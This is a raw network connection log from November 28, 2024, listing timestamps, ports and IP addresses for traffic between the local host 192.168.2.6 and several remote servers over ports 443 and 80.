Nov 28, 2024 15:17:23.641002893 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.641087055 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.641098022 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.668983936 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.669071913 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.669080019 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.670968056 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.671017885 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.671025038 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.677503109 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.677592039 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.677598953 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.688987970 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.689035892 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.689053059 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.689059973 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.689104080 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.695732117 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.700084925 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.700148106 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.700154066 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.700160980 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.700211048 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.719343901 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.720772028 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.720840931 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.721096992 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.721131086 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.721287012 CET	443	49744	20.223.35.26	192.168.2.6
Nov 28, 2024 15:17:23.721304893 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.721355915 CET	49744	443	192.168.2.6	20.223.35.26
Nov 28, 2024 15:17:23.725131035 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.725199938 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.725208998 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.736409903 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.736455917 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.736529112 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.736536980 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.736577034 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.745543003 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.754265070 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.754345894 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.754357100 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.763020039 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.763067961 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.763102055 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.763113976 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.763151884 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.771738052 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.780668974 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.780755997 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.780761957 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.790054083 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.790131092 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.790138006 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.790163994 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.790235996 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.798782110 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.804692984 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.804764032 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.804773092 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.806531906 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.806591034 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.806597948 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.813277960 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.813339949 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.813349009 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.819766045 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.821638107 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.821645021 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.826337099 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.826386929 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.826394081 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.832611084 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.832686901 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.832694054 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.849204063 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.849282980 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.849283934 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.849298000 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.849339008 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.852786064 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.881088018 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.881164074 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.881186008 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.881196022 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.881233931 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.884427071 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.887681961 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.887734890 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.887742043 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.889719009 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.889792919 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.889800072 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.894361019 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.894419909 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.894426107 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.905436993 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.905492067 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.905498981 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.905669928 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:23.905704975 CET	443	49737	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:23.905760050 CET	49737	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:24.243824005 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.244237900 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.244247913 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.244729996 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.244735003 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.252041101 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.252448082 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.252473116 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.252950907 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.252955914 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.290859938 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.291377068 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.291388988 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.292099953 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.292104959 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.335268021 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:24.335334063 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:24.337213039 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:24.337224007 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:24.337589979 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:24.382831097 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:24.510443926 CET	49754	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:24.510481119 CET	443	49754	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:24.510550022 CET	49754	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:24.510860920 CET	49754	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:24.510896921 CET	443	49754	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:24.516689062 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:24.541115999 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.543054104 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.543070078 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.543586016 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.543592930 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.543956041 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.544583082 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.544598103 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.545063972 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.545097113 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.559334040 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:24.802551031 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.802624941 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.802707911 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.804636955 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.804708004 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.804780006 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.876630068 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.876646996 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.876652956 CET	49747	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.876657963 CET	443	49747	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.896893978 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.896893978 CET	49746	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:24.896920919 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.896929979 CET	443	49746	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.922318935 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.922414064 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:24.922503948 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.042741060 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.042828083 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.042882919 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.042942047 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.042987108 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.042987108 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.062856913 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.062886953 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.062899113 CET	49745	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.062906027 CET	443	49745	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.065984964 CET	49749	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.065994024 CET	443	49749	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.070445061 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.070451975 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.070466995 CET	49751	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.070472956 CET	443	49751	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.072315931 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.072350025 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.072360039 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.072386980 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.072402000 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:25.072416067 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.072434902 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.072447062 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:25.072468042 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:25.183294058 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.183382988 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:25.183402061 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.183435917 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.183479071 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:25.332194090 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.332319021 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.332406044 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.333306074 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.333338976 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.333466053 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.399123907 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:25.399151087 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.399162054 CET	49748	443	192.168.2.6	20.12.23.50
Nov 28, 2024 15:17:25.399168968 CET	443	49748	20.12.23.50	192.168.2.6
Nov 28, 2024 15:17:25.399765015 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.399820089 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.400110006 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.400137901 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.403250933 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.403275967 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.403417110 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.403548956 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.403563976 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.408781052 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.408792973 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.408893108 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.409753084 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.409766912 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.409895897 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.410006046 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.410022020 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.411623955 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:25.411643982 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:25.656040907 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:25.656538963 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:25.699124098 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:25.699163914 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:25.699228048 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:25.704657078 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:25.704669952 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:25.781769991 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:25.782294989 CET	80	49768	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:25.782392979 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:25.784957886 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:25.904927969 CET	80	49768	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:26.299303055 CET	443	49754	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:26.299704075 CET	49754	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:26.299715996 CET	443	49754	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:26.300844908 CET	443	49754	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:26.301306963 CET	49754	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:26.301484108 CET	443	49754	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:26.511337042 CET	443	49754	142.250.181.100	192.168.2.6
Nov 28, 2024 15:17:26.511404991 CET	49754	443	192.168.2.6	142.250.181.100
Nov 28, 2024 15:17:26.757913113 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.757972956 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.758069038 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.759601116 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.759643078 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.759710073 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.760363102 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.760423899 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.760518074 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.761169910 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.761178017 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.761245012 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.765852928 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.765885115 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.765949965 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.776909113 CET	49771	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.776932001 CET	443	49771	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.777770996 CET	49772	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.777790070 CET	443	49772	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.778018951 CET	49770	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.778042078 CET	443	49770	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.780359983 CET	49773	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.780379057 CET	443	49773	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:26.781208038 CET	49774	443	192.168.2.6	150.171.27.10
Nov 28, 2024 15:17:26.781217098 CET	443	49774	150.171.27.10	192.168.2.6
Nov 28, 2024 15:17:27.056487083 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.056560993 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.058259964 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.058269978 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.058537006 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.097193956 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.116758108 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.117125034 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.117147923 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.117553949 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.117558956 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.143332005 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.183629990 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.184047937 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.184057951 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.184447050 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.184451103 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.197985888 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.198374987 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.198391914 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.198863983 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.198869944 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.207149982 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.207554102 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.207567930 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.207966089 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.207969904 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.252588034 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.258939028 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.258991957 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.259433985 CET	49757	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.259448051 CET	443	49757	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.551570892 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.551652908 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.551714897 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.551973104 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.551989079 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.552000999 CET	49758	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.552006960 CET	443	49758	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.553901911 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.553972960 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.554018021 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.554814100 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.554847002 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.554908991 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.555022955 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.555039883 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.555051088 CET	49769	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.555056095 CET	443	49769	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.555588961 CET	49776	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.555602074 CET	443	49776	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.597248077 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.597300053 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.597670078 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.597879887 CET	49777	443	192.168.2.6	2.23.161.164
Nov 28, 2024 15:17:27.597893000 CET	443	49777	2.23.161.164	192.168.2.6
Nov 28, 2024 15:17:27.633665085 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.633729935 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.633821964 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.634027004 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.634027004 CET	49760	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.634040117 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.634048939 CET	443	49760	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.642909050 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.642986059 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.643066883 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.651510000 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.651577950 CET	443	49764	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.651662111 CET	49764	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.665702105 CET	49778	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.665735006 CET	443	49778	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.665801048 CET	49778	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.666819096 CET	80	49768	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:27.666968107 CET	49768	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:27.667670012 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.667685986 CET	443	49765	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:27.667709112 CET	49765	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:27.667716026 CET	443	49765	13.107.246.63	192.168.2.6
